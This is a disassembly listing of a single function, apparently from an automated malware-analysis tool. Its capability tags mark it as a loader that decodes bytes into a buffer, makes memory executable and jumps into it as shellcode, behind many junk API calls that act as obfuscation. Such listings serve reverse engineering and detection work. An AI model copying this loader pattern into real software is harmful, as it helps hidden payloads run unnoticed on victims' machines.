Function at 0x403cae
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403cdb
inc edi
cmp edi, 0x67d12
jl 0x403cbe
cmp dword [0x283d82c], 0x93
jne 0x403db6
push 0x40381c
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x403828
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x403840
push 0x40384c
push 0x403864
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.00404154
pop ecx
push esi
push 0x4037a2
push 0x45a838
call fcn.00404200
add esp, 0xc
push esi
push esi
call fcn.00404aad
push esi
call fcn.004049a0
add esp, 0xc
push esi
push esi
call fcn.004049cf
pop ecx
pop ecx
mov eax, dword [0x445c5c]
add dword [0x283d82c], 0x1134b
push 0x40387c
mov dword [0x283e668], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40388c
push eax
mov dword [0x283d2bc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x283d82c]
mov dword [0x283d2b0], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x283d82c]
mov dword [0x283d2b8], eax
push eax
call dword [0x283d2b0]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
call ebx
dec edi
jne 0x403e1b
cmp dword [0x283d82c], esi
jbe 0x403e96
mov eax, dword [0x283e668]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x283d2b8]
mov byte [ecx + edi], al
cmp dword [0x283d82c], 0x490
jne 0x403e8d
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x283d82c]
jb 0x403e3f
xor edi, edi
mov eax, dword [0x283d82c]
add eax, edi
cmp eax, 0x8d
jne 0x403ed7
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x40389c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x4038a0
push 0x4038e8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x403e98
call fcn.00403bd5
xor edi, edi
push esi
call ebx
cmp edi, 0x61
jne 0x403f02
mov dword [ebp - 8], esi
add dword [ebp - 8], 0x114fb
mov eax, dword [ebp - 8]
add dword [0x283d2b8], eax
inc edi
cmp edi, 0x674bd
jl 0x403ee7
push 0x7b
pop edi
cmp dword [0x283d82c], 0x86
jne 0x403f49
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4038d4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x403f0e
push 0x403928
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x283d2b8]
pop edi
pop esi
pop ebx
leave
ret